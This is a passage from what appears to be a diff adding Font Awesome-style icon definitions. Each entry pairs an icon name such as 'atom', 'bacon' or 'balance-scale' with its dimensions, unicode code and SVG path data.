8zM140 300h116v70.9c0 10.7 13 16.1 20.5 8.5l114.3-114.9c4.7-4.7 4.7-12.2 0-16.9l-114.3-115c-7.6-7.6-20.5-2.2-20.5 8.5V212H140c-6.6 0-12 5.4-12 12v64c0 6.6 5.4 12 12 12z"], + "arrow-alt-circle-up": [512, 512, [], "f35b", "M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm292 116V256h70.9c10.7 0 16.1-13 8.5-20.5L264.5 121.2c-4.7-4.7-12.2-4.7-16.9 0l-115 114.3c-7.6 7.6-2.2 20.5 8.5 20.5H212v116c0 6.6 5.4 12 12 12h64c6.6 0 12-5.4 12-12z"], + "arrow-circle-down": [512, 512, [], "f0ab", "M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-143.6-28.9L288 302.6V120c0-13.3-10.7-24-24-24h-16c-13.3 0-24 10.7-24 24v182.6l-72.4-75.5c-9.3-9.7-24.8-9.9-34.3-.4l-10.9 11c-9.4 9.4-9.4 24.6 0 33.9L239 404.3c9.4 9.4 24.6 9.4 33.9 0l132.7-132.7c9.4-9.4 9.4-24.6 0-33.9l-10.9-11c-9.5-9.5-25-9.3-34.3.4z"], + "arrow-circle-left": [512, 512, [], "f0a8", "M256 504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zm28.9-143.6L209.4 288H392c13.3 0 24-10.7 24-24v-16c0-13.3-10.7-24-24-24H209.4l75.5-72.4c9.7-9.3 9.9-24.8.4-34.3l-11-10.9c-9.4-9.4-24.6-9.4-33.9 0L107.7 239c-9.4 9.4-9.4 24.6 0 33.9l132.7 132.7c9.4 9.4 24.6 9.4 33.9 0l11-10.9c9.5-9.5 9.3-25-.4-34.3z"], + "arrow-circle-right": [512, 512, [], "f0a9", "M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 8zm-28.9 143.6l75.5 72.4H120c-13.3 0-24 10.7-24 24v16c0 13.3 10.7 24 24 24h182.6l-75.5 72.4c-9.7 9.3-9.9 24.8-.4 34.3l11 10.9c9.4 9.4 24.6 9.4 33.9 0L404.3 273c9.4-9.4 9.4-24.6 0-33.9L271.6 106.3c-9.4-9.4-24.6-9.4-33.9 0l-11 10.9c-9.5 9.6-9.3 25.1.4 34.4z"], + "arrow-circle-up": [512, 512, [], "f0aa", "M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm143.6 28.9l72.4-75.5V392c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V209.4l72.4 75.5c9.3 9.7 24.8 9.9 34.3.4l10.9-11c9.4-9.4 9.4-24.6 0-33.9L273 107.7c-9.4-9.4-24.6-9.4-33.9 0L106.3 240.4c-9.4 9.4-9.4 24.6 0 33.9l10.9 11c9.6 9.5 25.1 9.3 34.4-.4z"], + "arrow-down": [448, 512, [], "f063", "M413.1 222.5l22.2 22.2c9.4 9.4 9.4 24.6 0 33.9L241 473c-9.4 9.4-24.6 9.4-33.9 0L12.7 278.6c-9.4-9.4-9.4-24.6 0-33.9l22.2-22.2c9.5-9.5 25-9.3 34.3.4L184 343.4V56c0-13.3 10.7-24 24-24h32c13.3 0 24 10.7 24 24v287.4l114.8-120.5c9.3-9.8 24.8-10 34.3-.4z"], + "arrow-left": [448, 512, [], "f060", "M257.5 445.1l-22.2 22.2c-9.4 9.4-24.6 9.4-33.9 0L7 273c-9.4-9.4-9.4-24.6 0-33.9L201.4 44.7c9.4-9.4 24.6-9.4 33.9 0l22.2 22.2c9.5 9.5 9.3 25-.4 34.3L136.6 216H424c13.3 0 24 10.7 24 24v32c0 13.3-10.7 24-24 24H136.6l120.5 114.8c9.8 9.3 10 24.8.4 34.3z"], + "arrow-right": [448, 512, [], "f061", "M190.5 66.9l22.2-22.2c9.4-9.4 24.6-9.4 33.9 0L441 239c9.4 9.4 9.4 24.6 0 33.9L246.6 467.3c-9.4 9.4-24.6 9.4-33.9 0l-22.2-22.2c-9.5-9.5-9.3-25 .4-34.3L311.4 296H24c-13.3 0-24-10.7-24-24v-32c0-13.3 10.7-24 24-24h287.4L190.9 101.2c-9.8-9.3-10-24.8-.4-34.3z"], + "arrow-up": [448, 512, [], "f062", "M34.9 289.5l-22.2-22.2c-9.4-9.4-9.4-24.6 0-33.9L207 39c9.4-9.4 24.6-9.4 33.9 0l194.3 194.3c9.4 9.4 9.4 24.6 0 33.9L413 289.4c-9.5 9.5-25 9.3-34.3-.4L264 168.6V456c0 13.3-10.7 24-24 24h-32c-13.3 0-24-10.7-24-24V168.6L69.2 289.1c-9.3 9.8-24.8 10-34.3.4z"], + "arrows-alt": [512, 512, [], "f0b2", "M352.201 425.775l-79.196 79.196c-9.373 9.373-24.568 9.373-33.941 0l-79.196-79.196c-15.119-15.119-4.411-40.971 16.971-40.97h51.162L228 284H127.196v51.162c0 21.382-25.851 32.09-40.971 16.971L7.029 272.937c-9.373-9.373-9.373-24.569 0-33.941L86.225 159.8c15.119-15.119 40.971-4.411 40.971 16.971V228H228V127.196h-51.23c-21.382 0-32.09-25.851-16.971-40.971l79.196-79.196c9.373-9.373 24.568-9.373 33.941 0l79.196 79.196c15.119 15.119 4.411 40.971-16.971 40.971h-51.162V228h100.804v-51.162c0-21.382 25.851-32.09 40.97-16.971l79.196 79.196c9.373 9.373 9.373 24.569 0 33.941L425.773 352.2c-15.119 15.119-40.971 4.411-40.97-16.971V284H284v100.804h51.23c21.382 0 32.09 25.851 16.971 40.971z"], + "arrows-alt-h": [512, 512, [], "f337", "M377.941 169.941V216H134.059v-46.059c0-21.382-25.851-32.09-40.971-16.971L7.029 239.029c-9.373 9.373-9.373 24.568 0 33.941l86.059 86.059c15.119 15.119 40.971 4.411 40.971-16.971V296h243.882v46.059c0 21.382 25.851 32.09 40.971 16.971l86.059-86.059c9.373-9.373 9.373-24.568 0-33.941l-86.059-86.059c-15.119-15.12-40.971-4.412-40.971 16.97z"], + "arrows-alt-v": [256, 512, [], "f338", "M214.059 377.941H168V134.059h46.059c21.382 0 32.09-25.851 16.971-40.971L144.971 7.029c-9.373-9.373-24.568-9.373-33.941 0L24.971 93.088c-15.119 15.119-4.411 40.971 16.971 40.971H88v243.882H41.941c-21.382 0-32.09 25.851-16.971 40.971l86.059 86.059c9.373 9.373 24.568 9.373 33.941 0l86.059-86.059c15.12-15.119 4.412-40.971-16.97-40.971z"], + "assistive-listening-systems": [512, 512, [], "f2a2", "M216 260c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-44.112 35.888-80 80-80s80 35.888 80 80c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-13.234-10.767-24-24-24s-24 10.766-24 24zm24-176c-97.047 0-176 78.953-176 176 0 15.464 12.536 28 28 28s28-12.536 28-28c0-66.168 53.832-120 120-120s120 53.832 120 120c0 75.164-71.009 70.311-71.997 143.622L288 404c0 28.673-23.327 52-52 52-15.464 0-28 12.536-28 28s12.536 28 28 28c59.475 0 107.876-48.328 108-107.774.595-34.428 72-48.24 72-144.226 0-97.047-78.953-176-176-176zm-80 236c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zM32 448c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm480-187.993c0-1.518-.012-3.025-.045-4.531C510.076 140.525 436.157 38.47 327.994 1.511c-14.633-4.998-30.549 2.809-35.55 17.442-5 14.633 2.81 30.549 17.442 35.55 85.906 29.354 144.61 110.513 146.077 201.953l.003.188c.026 1.118.033 2.236.033 3.363 0 15.464 12.536 28 28 28s28.001-12.536 28.001-28zM152.971 439.029l-80-80L39.03 392.97l80 80 33.941-33.941z"], + "asterisk": [512, 512, [], "f069", "M478.21 334.093L336 256l142.21-78.093c11.795-6.477 15.961-21.384 9.232-33.037l-19.48-33.741c-6.728-11.653-21.72-15.499-33.227-8.523L296 186.718l3.475-162.204C299.763 11.061 288.937 0 275.48 0h-38.96c-13.456 0-24.283 11.061-23.994 24.514L216 186.718 77.265 102.607c-11.506-6.976-26.499-3.13-33.227 8.523l-19.48 33.741c-6.728 11.653-2.562 26.56 9.233 33.037L176 256 33.79 334.093c-11.795 6.477-15.961 21.384-9.232 33.037l19.48 33.741c6.728 11.653 21.721 15.499 33.227 8.523L216 325.282l-3.475 162.204C212.237 500.939 223.064 512 236.52 512h38.961c13.456 0 24.283-11.061 23.995-24.514L296 325.282l138.735 84.111c11.506 6.976 26.499 3.13 33.227-8.523l19.48-33.741c6.728-11.653 2.563-26.559-9.232-33.036z"], + "at": [512, 512, [], "f1fa", "M256 8C118.941 8 8 118.919 8 256c0 137.059 110.919 248 248 248 48.154 0 95.342-14.14 135.408-40.223 12.005-7.815 14.625-24.288 5.552-35.372l-10.177-12.433c-7.671-9.371-21.179-11.667-31.373-5.129C325.92 429.757 291.314 440 256 440c-101.458 0-184-82.542-184-184S154.542 72 256 72c100.139 0 184 57.619 184 160 0 38.786-21.093 79.742-58.17 83.693-17.349-.454-16.91-12.857-13.476-30.024l23.433-121.11C394.653 149.75 383.308 136 368.225 136h-44.981a13.518 13.518 0 0 0-13.432 11.993l-.01.092c-14.697-17.901-40.448-21.775-59.971-21.775-74.58 0-137.831 62.234-137.831 151.46 0 65.303 36.785 105.87 96 105.87 26.984 0 57.369-15.637 74.991-38.333 9.522 34.104 40.613 34.103 70.71 34.103C462.609 379.41 504 307.798 504 232 504 95.653 394.023 8 256 8zm-21.68 304.43c-22.249 0-36.07-15.623-36.07-40.771 0-44.993 30.779-72.729 58.63-72.729 22.292 0 35.601 15.241 35.601 40.77 0 45.061-33.875 72.73-58.161 72.73z"], + "atlas": [448, 512, [], "f558", "M318.38 208h-39.09c-1.49 27.03-6.54 51.35-14.21 70.41 27.71-13.24 48.02-39.19 53.3-70.41zm0-32c-5.29-31.22-25.59-57.17-53.3-70.41 7.68 19.06 12.72 43.38 14.21 70.41h39.09zM224 97.31c-7.69 7.45-20.77 34.42-23.43 78.69h46.87c-2.67-44.26-15.75-71.24-23.44-78.69zm-41.08 8.28c-27.71 13.24-48.02 39.19-53.3 70.41h39.09c1.49-27.03 6.53-51.35 14.21-70.41zm0 172.82c-7.68-19.06-12.72-43.38-14.21-70.41h-39.09c5.28 31.22 25.59 57.17 53.3 70.41zM247.43 208h-46.87c2.66 44.26 15.74 71.24 23.43 78.69 7.7-7.45 20.78-34.43 23.44-78.69zM448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM224 64c70.69 0 128 57.31 128 128s-57.31 128-128 128S96 262.69 96 192 153.31 64 224 64zm160 384H96c-19.2 0-32-12.8-32-32s16-32 32-32h288v64z"], + "atom": [448, 512, [], "f5d2", "M223.99908,224a32,32,0,1,0,32.00782,32A32.06431,32.06431,0,0,0,223.99908,224Zm214.172-96c-10.877-19.5-40.50979-50.75-116.27544-41.875C300.39168,34.875,267.63386,0,223.99908,0s-76.39066,34.875-97.89653,86.125C50.3369,77.375,20.706,108.5,9.82907,128-6.54984,157.375-5.17484,201.125,34.958,256-5.17484,310.875-6.54984,354.625,9.82907,384c29.13087,52.375,101.64652,43.625,116.27348,41.875C147.60842,477.125,180.36429,512,223.99908,512s76.3926-34.875,97.89652-86.125c14.62891,1.75,87.14456,10.5,116.27544-41.875C454.55,354.625,453.175,310.875,413.04017,256,453.175,201.125,454.55,157.375,438.171,128ZM63.33886,352c-4-7.25-.125-24.75,15.00391-48.25,6.87695,6.5,14.12891,12.875,21.88087,19.125,1.625,13.75,4,27.125,6.75,40.125C82.34472,363.875,67.09081,358.625,63.33886,352Zm36.88478-162.875c-7.752,6.25-15.00392,12.625-21.88087,19.125-15.12891-23.5-19.00392-41-15.00391-48.25,3.377-6.125,16.37891-11.5,37.88478-11.5,1.75,0,3.875.375,5.75.375C104.09864,162.25,101.84864,175.625,100.22364,189.125ZM223.99908,64c9.50195,0,22.25586,13.5,33.88282,37.25-11.252,3.75-22.50391,8-33.88282,12.875-11.377-4.875-22.62892-9.125-33.88283-12.875C201.74516,77.5,214.49712,64,223.99908,64Zm0,384c-9.502,0-22.25392-13.5-33.88283-37.25,11.25391-3.75,22.50587-8,33.88283-12.875C235.378,402.75,246.62994,407,257.8819,410.75,246.25494,434.5,233.501,448,223.99908,448Zm0-112a80,80,0,1,1,80-80A80.00023,80.00023,0,0,1,223.99908,336ZM384.6593,352c-3.625,6.625-19.00392,11.875-43.63479,11,2.752-13,5.127-26.375,6.752-40.125,7.75195-6.25,15.00391-12.625,21.87891-19.125C384.7843,327.25,388.6593,344.75,384.6593,352ZM369.65538,208.25c-6.875-6.5-14.127-12.875-21.87891-19.125-1.625-13.5-3.875-26.875-6.752-40.25,1.875,0,4.002-.375,5.752-.375,21.50391,0,34.50782,5.375,37.88283,11.5C388.6593,167.25,384.7843,184.75,369.65538,208.25Z"], + "audio-description": [512, 512, [], "f29e", "M162.925 238.709l8.822 30.655h-25.606l9.041-30.652c1.277-4.421 2.651-9.994 3.872-15.245 1.22 5.251 2.594 10.823 3.871 15.242zm166.474-32.099h-14.523v98.781h14.523c29.776 0 46.175-17.678 46.175-49.776 0-32.239-17.49-49.005-46.175-49.005zM512 112v288c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48zM245.459 336.139l-57.097-168A12.001 12.001 0 0 0 177 160h-35.894a12.001 12.001 0 0 0-11.362 8.139l-57.097 168C70.003 343.922 75.789 352 84.009 352h29.133a12 12 0 0 0 11.535-8.693l8.574-29.906h51.367l8.793 29.977A12 12 0 0 0 204.926 352h29.172c8.22 0 14.006-8.078 11.361-15.861zm184.701-80.525c0-58.977-37.919-95.614-98.96-95.614h-57.366c-6.627 0-12 5.373-12 12v168c0 6.627 5.373 12 12 12H331.2c61.041 0 98.96-36.933 98.96-96.386z"], + "award": [384, 512, [], "f559", "M97.12 362.63c-8.69-8.69-4.16-6.24-25.12-11.85-9.51-2.55-17.87-7.45-25.43-13.32L1.2 448.7c-4.39 10.77 3.81 22.47 15.43 22.03l52.69-2.01L105.56 507c8 8.44 22.04 5.81 26.43-4.96l52.05-127.62c-10.84 6.04-22.87 9.58-35.31 9.58-19.5 0-37.82-7.59-51.61-21.37zM382.8 448.7l-45.37-111.24c-7.56 5.88-15.92 10.77-25.43 13.32-21.07 5.64-16.45 3.18-25.12 11.85-13.79 13.78-32.12 21.37-51.62 21.37-12.44 0-24.47-3.55-35.31-9.58L252 502.04c4.39 10.77 18.44 13.4 26.43 4.96l36.25-38.28 52.69 2.01c11.62.44 19.82-11.27 15.43-22.03zM263 340c15.28-15.55 17.03-14.21 38.79-20.14 13.89-3.79 24.75-14.84 28.47-28.98 7.48-28.4 5.54-24.97 25.95-45.75 10.17-10.35 14.14-25.44 10.42-39.58-7.47-28.38-7.48-24.42 0-52.83 3.72-14.14-.25-29.23-10.42-39.58-20.41-20.78-18.47-17.36-25.95-45.75-3.72-14.14-14.58-25.19-28.47-28.98-27.88-7.61-24.52-5.62-44.95-26.41-10.17-10.35-25-14.4-38.89-10.61-27.87 7.6-23.98 7.61-51.9 0-13.89-3.79-28.72.25-38.89 10.61-20.41 20.78-17.05 18.8-44.94 26.41-13.89 3.79-24.75 14.84-28.47 28.98-7.47 28.39-5.54 24.97-25.95 45.75-10.17 10.35-14.15 25.44-10.42 39.58 7.47 28.36 7.48 24.4 0 52.82-3.72 14.14.25 29.23 10.42 39.59 20.41 20.78 18.47 17.35 25.95 45.75 3.72 14.14 14.58 25.19 28.47 28.98C104.6 325.96 106.27 325 121 340c13.23 13.47 33.84 15.88 49.74 5.82a39.676 39.676 0 0 1 42.53 0c15.89 10.06 36.5 7.65 49.73-5.82zM97.66 175.96c0-53.03 42.24-96.02 94.34-96.02s94.34 42.99 94.34 96.02-42.24 96.02-94.34 96.02-94.34-42.99-94.34-96.02z"], + "baby": [384, 512, [], "f77c", "M192 160c44.2 0 80-35.8 80-80S236.2 0 192 0s-80 35.8-80 80 35.8 80 80 80zm-53.4 248.8l25.6-32-61.5-51.2L56.8 383c-11.4 14.2-11.7 34.4-.8 49l48 64c7.9 10.5 19.9 16 32 16 8.3 0 16.8-2.6 24-8 17.7-13.2 21.2-38.3 8-56l-29.4-39.2zm142.7-83.2l-61.5 51.2 25.6 32L216 448c-13.2 17.7-9.7 42.8 8 56 7.2 5.4 15.6 8 24 8 12.2 0 24.2-5.5 32-16l48-64c10.9-14.6 10.6-34.8-.8-49l-45.9-57.4zM376.7 145c-12.7-18.1-37.6-22.4-55.7-9.8l-40.6 28.5c-52.7 37-124.2 37-176.8 0L63 135.3C44.9 122.6 20 127 7.3 145-5.4 163.1-1 188 17 200.7l40.6 28.5c17 11.9 35.4 20.9 54.4 27.9V288h160v-30.8c19-7 37.4-16 54.4-27.9l40.6-28.5c18.1-12.8 22.4-37.7 9.7-55.8z"], + "baby-carriage": [512, 512, [], "f77d", "M144.8 17c-11.3-17.8-37.2-22.8-54-9.4C35.3 51.9 0 118 0 192h256L144.8 17zM496 96h-48c-35.3 0-64 28.7-64 64v64H0c0 50.6 23 96.4 60.3 130.7C25.7 363.6 0 394.7 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-8.9-1.8-17.2-4.4-25.2 21.6 5.9 44.6 9.2 68.4 9.2s46.9-3.3 68.4-9.2c-2.7 8-4.4 16.3-4.4 25.2 0 44.2 35.8 80 80 80s80-35.8 80-80c0-37.3-25.7-68.4-60.3-77.3C425 320.4 448 274.6 448 224v-64h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM80 464c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm320-32c0 17.6-14.4 32-32 32s-32-14.4-32-32 14.4-32 32-32 32 14.4 32 32z"], + "backspace": [640, 512, [], "f55a", "M576 64H205.26A63.97 63.97 0 0 0 160 82.75L9.37 233.37c-12.5 12.5-12.5 32.76 0 45.25L160 429.25c12 12 28.28 18.75 45.25 18.75H576c35.35 0 64-28.65 64-64V128c0-35.35-28.65-64-64-64zm-84.69 254.06c6.25 6.25 6.25 16.38 0 22.63l-22.62 22.62c-6.25 6.25-16.38 6.25-22.63 0L384 301.25l-62.06 62.06c-6.25 6.25-16.38 6.25-22.63 0l-22.62-22.62c-6.25-6.25-6.25-16.38 0-22.63L338.75 256l-62.06-62.06c-6.25-6.25-6.25-16.38 0-22.63l22.62-22.62c6.25-6.25 16.38-6.25 22.63 0L384 210.75l62.06-62.06c6.25-6.25 16.38-6.25 22.63 0l22.62 22.62c6.25 6.25 6.25 16.38 0 22.63L429.25 256l62.06 62.06z"], + "backward": [512, 512, [], "f04a", "M11.5 280.6l192 160c20.6 17.2 52.5 2.8 52.5-24.6V96c0-27.4-31.9-41.8-52.5-24.6l-192 160c-15.3 12.8-15.3 36.4 0 49.2zm256 0l192 160c20.6 17.2 52.5 2.8 52.5-24.6V96c0-27.4-31.9-41.8-52.5-24.6l-192 160c-15.3 12.8-15.3 36.4 0 49.2z"], + "bacon": [576, 512, [], "f7e5", "M218.92 336.39c34.89-34.89 44.2-59.7 54.05-86 10.61-28.29 21.59-57.54 61.37-97.34s69.05-50.77 97.35-61.38c23.88-9 46.64-17.68 76.79-45.37L470.81 8.91a31 31 0 0 0-40.18-2.83c-13.64 10.1-25.15 14.39-41 20.3C247 79.52 209.26 191.29 200.65 214.1c-29.75 78.83-89.55 94.68-98.72 98.09-24.86 9.26-54.73 20.38-91.07 50.36C-3 374-3.63 395 9.07 407.61l35.76 35.51C80 410.52 107 400.15 133 390.39c26.27-9.84 51.06-19.12 85.92-54zm348-232l-35.75-35.51c-35.19 32.63-62.18 43-88.25 52.79-26.26 9.85-51.06 19.16-85.95 54s-44.19 59.69-54 86C292.33 290 281.34 319.22 241.55 359s-69 50.73-97.3 61.32c-23.86 9-46.61 17.66-76.72 45.33l37.68 37.43a31 31 0 0 0 40.18 2.82c13.6-10.06 25.09-14.34 40.94-20.24 142.2-53 180-164.1 188.94-187.69C405 219.18 464.8 203.3 474 199.86c24.87-9.27 54.74-20.4 91.11-50.41 13.89-11.4 14.52-32.45 1.82-45.05z"], + "bacteria": [640, 512, [], "e059", "M272.35,226.4A17.71,17.71,0,0,0,281.46,203l-4-9.08a121.29,121.29,0,0,1,12.36-3.08A83.34,83.34,0,0,0,323.57,177l10,9a17.76,17.76,0,1,0,23.92-26.27l-9.72-8.76a83.12,83.12,0,0,0,11.65-48.18l11.85-3.51a17.73,17.73,0,1,0-10.15-34l-11.34,3.36a84,84,0,0,0-36.38-35.57l2.84-10.85a17.8,17.8,0,0,0-34.47-8.93l-2.82,10.78a83.25,83.25,0,0,0-16.74,1.1C250.83,27,240,30.22,229.1,33.39l-3.38-9.46a17.8,17.8,0,0,0-33.56,11.89l3.49,9.8a286.74,286.74,0,0,0-43.94,23.57l-6.32-8.43a17.9,17.9,0,0,0-24.94-3.6A17.69,17.69,0,0,0,116.84,82l6.45,8.61a286.59,286.59,0,0,0-34.95,35.33l-8.82-6.42a17.84,17.84,0,0,0-24.89,3.86,17.66,17.66,0,0,0,3.88,24.77l8.88,6.47a286.6,286.6,0,0,0-23,43.91l-10.48-3.59a17.73,17.73,0,1,0-11.59,33.52L32.67,232c-2.79,10-5.79,19.84-7.52,30.22a83.16,83.16,0,0,0-.82,19l-11.58,3.43a17.73,17.73,0,1,0,10.13,34l11.27-3.33a83.51,83.51,0,0,0,36.39,35.43l-2.88,11.06a17.81,17.81,0,0,0,34.48,8.92l2.87-11c1,0,2.07.26,3.1.26a83.39,83.39,0,0,0,45.65-13.88l8.59,8.8a17.77,17.77,0,0,0,25.56-24.7l-9.14-9.37a83.41,83.41,0,0,0,12.08-31.05,119.08,119.08,0,0,1,3.87-15.53l9,4.22a17.74,17.74,0,1,0,15.15-32.09l-8.8-4.11c.67-1,1.2-2.08,1.9-3.05a119.89,119.89,0,0,1,7.87-9.41,121.73,121.73,0,0,1,11.65-11.4,119.49,119.49,0,0,1,9.94-7.82c1.12-.77,2.32-1.42,3.47-2.15l3.92,8.85a17.86,17.86,0,0,0,16.32,10.58A18.14,18.14,0,0,0,272.35,226.4ZM128,256a32,32,0,1,1,32-32A32,32,0,0,1,128,256Zm80-96a16,16,0,1,1,16-16A16,16,0,0,1,208,160Zm431.26,45.3a17.79,17.79,0,0,0-17.06-12.69,17.55,17.55,0,0,0-5.08.74l-11.27,3.33a83.61,83.61,0,0,0-36.39-35.43l2.88-11.06a17.81,17.81,0,0,0-34.48-8.91l-2.87,11c-1,0-2.07-.26-3.1-.26a83.32,83.32,0,0,0-45.65,13.89l-8.59-8.81a17.77,17.77,0,0,0-25.56,24.7l9.14,9.37a83.28,83.28,0,0,0-12.08,31.06,119.34,119.34,0,0,1-3.87,15.52l-9-4.22a17.74,17.74,0,1,0-15.15,32.09l8.8,4.11c-.67,1-1.2,2.08-1.89,3.05a117.71,117.71,0,0,1-7.94,9.47,119,119,0,0,1-11.57,11.33,121.59,121.59,0,0,1-10,7.83c-1.12.77-2.32,1.42-3.47,2.15l-3.92-8.85a17.86,17.86,0,0,0-16.32-10.58,18.14,18.14,0,0,0-7.18,1.5A17.71,17.71,0,0,0,358.54,309l4,9.08a118.71,118.71,0,0,1-12.36,3.08,83.34,83.34,0,0,0-33.77,13.9l-10-9a17.77,17.77,0,1,0-23.92,26.28l9.72,8.75a83.12,83.12,0,0,0-11.65,48.18l-11.86,3.51a17.73,17.73,0,1,0,10.16,34l11.34-3.36A84,84,0,0,0,326.61,479l-2.84,10.85a17.8,17.8,0,0,0,34.47,8.93L361.06,488a83.3,83.3,0,0,0,16.74-1.1c11.37-1.89,22.24-5.07,33.1-8.24l3.38,9.46a17.8,17.8,0,0,0,33.56-11.89l-3.49-9.79a287.66,287.66,0,0,0,43.94-23.58l6.32,8.43a17.88,17.88,0,0,0,24.93,3.6A17.67,17.67,0,0,0,523.16,430l-6.45-8.61a287.37,287.37,0,0,0,34.95-35.34l8.82,6.42a17.76,17.76,0,1,0,21-28.63l-8.88-6.46a287.17,287.17,0,0,0,23-43.92l10.48,3.59a17.73,17.73,0,1,0,11.59-33.52L607.33,280c2.79-10,5.79-19.84,7.52-30.21a83.27,83.27,0,0,0,.82-19.05l11.58-3.43A17.7,17.7,0,0,0,639.26,205.3ZM416,416a32,32,0,1,1,32-32A32,32,0,0,1,416,416Z"], + "bacterium": [512, 512, [], "e05a", "M511,102.93A23.76,23.76,0,0,0,481.47,87l-15.12,4.48a111.85,111.85,0,0,0-48.5-47.42l3.79-14.47a23.74,23.74,0,0,0-46-11.91l-3.76,14.37a111.94,111.94,0,0,0-22.33,1.47,386.74,386.74,0,0,0-44.33,10.41l-4.3-12a23.74,23.74,0,0,0-44.75,15.85l4.3,12.05a383.4,383.4,0,0,0-58.69,31.83l-8-10.63a23.85,23.85,0,0,0-33.24-4.8,23.57,23.57,0,0,0-4.83,33.09l8,10.63a386.14,386.14,0,0,0-46.7,47.44l-11-8a23.68,23.68,0,1,0-28,38.17l11.09,8.06a383.45,383.45,0,0,0-30.92,58.75l-12.93-4.43a23.65,23.65,0,1,0-15.47,44.69l13,4.48a385.81,385.81,0,0,0-9.3,40.53A111.58,111.58,0,0,0,32.44,375L17,379.56a23.64,23.64,0,0,0,13.51,45.31l15-4.44a111.49,111.49,0,0,0,48.53,47.24l-3.85,14.75a23.66,23.66,0,0,0,17,28.83,24.7,24.7,0,0,0,6,.75,23.73,23.73,0,0,0,23-17.7L140,479.67c1.37.05,2.77.35,4.13.35A111.22,111.22,0,0,0,205,461.5l11.45,11.74a23.7,23.7,0,0,0,34.08-32.93l-12.19-12.5a111,111,0,0,0,16.11-41.4,158.69,158.69,0,0,1,5.16-20.71l12,5.64a23.66,23.66,0,1,0,20.19-42.79l-11.72-5.49c.89-1.32,1.59-2.77,2.52-4.06a157.86,157.86,0,0,1,10.46-12.49,159.5,159.5,0,0,1,15.59-15.28,162.18,162.18,0,0,1,13.23-10.4c1.5-1,3.1-1.89,4.63-2.87l5.23,11.8a23.74,23.74,0,0,0,43.48-19.08l-5.36-12.11a158.87,158.87,0,0,1,16.49-4.1,111,111,0,0,0,45-18.54l13.33,12a23.69,23.69,0,1,0,31.88-35l-12.94-11.67A110.83,110.83,0,0,0,479.21,137L495,132.32A23.61,23.61,0,0,0,511,102.93ZM160,368a48,48,0,1,1,48-48A48,48,0,0,1,160,368Zm80-136a24,24,0,1,1,24-24A24,24,0,0,1,240,232Z"], + "bahai": [512, 512, [], "f666", "M496.25 202.52l-110-15.44 41.82-104.34c6.67-16.64-11.6-32.18-26.59-22.63L307.44 120 273.35 12.82C270.64 4.27 263.32 0 256 0c-7.32 0-14.64 4.27-17.35 12.82l-34.09 107.19-94.04-59.89c-14.99-9.55-33.25 5.99-26.59 22.63l41.82 104.34-110 15.43c-17.54 2.46-21.68 26.27-6.03 34.67l98.16 52.66-74.48 83.54c-10.92 12.25-1.72 30.93 13.29 30.93 1.31 0 2.67-.14 4.07-.45l108.57-23.65-4.11 112.55c-.43 11.65 8.87 19.22 18.41 19.22 5.15 0 10.39-2.21 14.2-7.18l68.18-88.9 68.18 88.9c3.81 4.97 9.04 7.18 14.2 7.18 9.54 0 18.84-7.57 18.41-19.22l-4.11-112.55 108.57 23.65c17.36 3.76 29.21-17.2 17.35-30.49l-74.48-83.54 98.16-52.66c15.64-8.39 11.5-32.2-6.04-34.66zM338.51 311.68l-51.89-11.3 1.97 53.79L256 311.68l-32.59 42.49 1.96-53.79-51.89 11.3 35.6-39.93-46.92-25.17 52.57-7.38-19.99-49.87 44.95 28.62L256 166.72l16.29 51.23 44.95-28.62-19.99 49.87 52.57 7.38-46.92 25.17 35.61 39.93z"], + "balance-scale": [640, 512, [], "f24e", "M256 336h-.02c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0C-2.06 328.75.02 320.33.02 336H0c0 44.18 57.31 80 128 80s128-35.82 128-80zM128 176l72 144H56l72-144zm511.98 160c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0-87.12 174.26-85.04 165.84-85.04 181.51H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02zM440 320l72-144 72 144H440zm88 128H352V153.25c23.51-10.29 41.16-31.48 46.39-57.25H528c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16H383.64C369.04 12.68 346.09 0 320 0s-49.04 12.68-63.64 32H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h129.61c5.23 25.76 22.87 46.96 46.39 57.25V448H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"], + "balance-scale-left": [640, 512, [], "f515", "M528 448H352V153.25c20.42-8.94 36.1-26.22 43.38-47.47l132-44.26c8.38-2.81 12.89-11.88 10.08-20.26l-10.17-30.34C524.48 2.54 515.41-1.97 507.03.84L389.11 40.37C375.3 16.36 349.69 0 320 0c-44.18 0-80 35.82-80 80 0 3.43.59 6.71 1.01 10.03l-128.39 43.05c-8.38 2.81-12.89 11.88-10.08 20.26l10.17 30.34c2.81 8.38 11.88 12.89 20.26 10.08l142.05-47.63c4.07 2.77 8.43 5.12 12.99 7.12V496c0 8.84 7.16 16 16 16h224c8.84 0 16-7.16 16-16v-32c-.01-8.84-7.17-16-16.01-16zm111.98-144c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0-87.12 